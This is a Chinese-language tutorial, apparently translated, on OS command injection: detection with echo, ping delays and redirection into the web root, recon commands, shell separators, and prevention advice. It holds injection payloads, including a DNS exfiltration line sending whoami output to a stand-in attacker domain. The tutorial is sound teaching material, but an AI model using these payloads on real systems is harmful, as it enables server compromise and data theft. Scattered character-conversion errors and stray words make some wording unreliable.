在本節中,咱們將解釋什麼是操做系統命令注入,描述如何檢測和利用此漏洞,爲不一樣的操做系統闡明一些有用的命令和技術,並總結如何防止操做系統命令注入。web
OS 命令注入(也稱爲 shell 注入)是一個 web 安全漏洞,它容許攻擊者在運行應用程序的服務器上執行任意的操做系統命令,這一般會對應用程序及其全部數據形成嚴重危害。而且,攻擊者也經常利用此漏洞危害基礎設施中的其餘部分,利用信任關係攻擊組織內的其餘系統。shell
假設某個購物應用程序容許用戶查看某個商品在特定商店中是否有庫存,此信息能夠經過如下 URL 獲取:瀏覽器
https://insecure-website.com/stockStatus?productID=381&storeID=29
爲了提供返回信息,應用程序必須查詢各類遺留系統。因爲歷史緣由,此功能經過調用 shell 命令並傳遞參數來實現以下:安全
stockreport.pl 381 29
此命令輸出特定商店中某個商品的庫存信息,並將其返回給用戶。服務器
因爲應用程序沒有對 OS 命令注入進行防護,那麼攻擊者能夠提交相似如下輸入來執行任意命令:網絡
& echo aiwefwlguh &
若是這個輸入被看成 productID 參數,那麼應用程序執行的命令就是:ide
stockreport.pl & echo aiwefwlguh & 29
echo
命令就是讓提供的字符串在輸出中顯示的做用,其是測試某些 OS 命令注入的有效方法。&
符號就是一個 shell 命令分隔符,所以上例實際執行的是一個接一個的三個單獨的命令。所以,返回給用戶的輸出爲:測試
Error - productID was not provided aiwefwlguh 29: command not found
這三行輸出代表:網站
stockreport.pl
命令因爲沒有收到預期的參數,所以返回錯誤信息。echo
命令執行成功。將命令分隔符 &
放在注入命令以後一般是有用的,由於它會將注入的命令與注入點後面的命令分開,這減小了隨後發生的事情將阻止注入命令執行的可能性。spa
當你識別 OS 命令注入漏洞時,執行一些初始命令以獲取有關係統信息一般頗有用。下面是一些在 Linux 和 Windows 平臺上經常使用命令的摘要:
命令含義 | Linux | Windows |
---|---|---|
顯示當前用戶名 | whoami | whoami |
顯示操做系統信息 | uname -a | ver |
顯示網絡配置 | ifconfig | ipconfig /all |
顯示網絡鏈接 | netstat -an | netstat -an |
顯示正在運行的進程 | ps -ef | tasklist |
許多 OS 命令注入漏洞都是不可見的,這意味着應用程序不會在其 HTTP 響應中返回命令的輸出。 不可見 OS 命令注入漏洞仍然能夠被利用,但須要不一樣的技術。
假設某個 web 站點容許用戶提交反饋信息,用戶輸入他們的電子郵件地址和反饋信息,而後服務端生成一封包含反饋信息的電子郵件投遞給網站管理員。爲此,服務端須要調用 mail 程序,以下:
mail -s "This site is great" -aFrom:peter@normal-user.net feedback@vulnerable-website.com
mail 命令的輸出並無做爲應用程序的響應返回,所以使用 echo 負載不會有效。這種狀況,你可使用一些其餘的技術來檢測漏洞。
你可使用能觸發延時的注入命令,而後根據應用程序的響應時長來判斷注入的命令是否被執行。使用 ping
命令是一種有效的方式,由於此命令容許你指定要發送的 ICMP 包的數量以及命令運行的時間:
& ping -c 10 127.0.0.1 &
這個命令將會 ping 10 秒鐘。
你能夠將注入命令的輸出重定向到可以使用瀏覽器訪問到的 web 目錄。例如,應用程序使用 /var/www/static 路徑做爲靜態資源目錄,那麼你能夠提交如下輸入:
& whoami > /var/www/static/whoami.txt &
>
符號就是輸出重定向的意思,上面這個命令就是把 whoami 的執行結果輸出到 /var/www/static/whoami.txt 文件中,而後你就能夠經過瀏覽器訪問 https://vulnerable-website.com/whoami.txt
查看命令的輸出結果。
使用 OAST 帶外技術就是你要有一個本身控制的外部系統,而後注入命令執行,觸發與你控制的系統的交互。例如:
& nslookup kgji2ohoyw.web-attacker.com &
這個負載使用 nslookup
命令對指定域名進行 DNS 查找,攻擊者能夠監視是否發生了指定的查找,從而檢測命令是否成功注入執行。
帶外通道還提供了一種簡單的方式將注入命令的輸出傳遞出來,例如:
& nslookup `whoami`.kgji2ohoyw.web-attacker.com &
這將致使對攻擊者控制的域名的 DNS 查找,如:
wwwuser.kgji2ohoyw.web-attacker.com
各類 shell 元字符均可以用於執行 OS 命令注入攻擊。
許多字符用做命令分隔符,從而將多個命令鏈接在一塊兒。如下分隔符在 Windows 和 Unix 類系統上都可使用:
&
&&
|
||
如下命令分隔符僅適用於 Unix 類系統:
;
0x0a
或 \n
)在 Unix 類系統上,還可使用 `
反引號和 $
符號在原始命令內注入命令內聯執行:
`
$
須要注意的是,不一樣的 shell 元字符具備細微不一樣的行爲,這些行爲可能會影響它們在某些狀況下是否工做,以及它們是否容許在帶內檢索命令輸出,或者只對不可見 OS 利用有效。
有時,你控制的輸入會出如今原始命令中的引號內。在這種狀況下,您須要在使用合適的 shell 元字符注入新命令以前終止引用的上下文(使用 "
或 '
)。
防止 OS 命令注入攻擊最有效的方法就是永遠不要從應用層代碼中調用 OS 命令。幾乎在對於全部狀況下,都有使用更安全的平臺 API 來實現所需功能的替代方法。
若是認爲使用用戶提供的輸入調用 OS 命令是不可避免的,那麼必須執行嚴格的輸入驗證。有效驗證的一些例子包括:
不要試圖經過轉義 shell 元字符來清理輸入。實際上,這太容易出錯,且很容易被熟練的攻擊者繞過。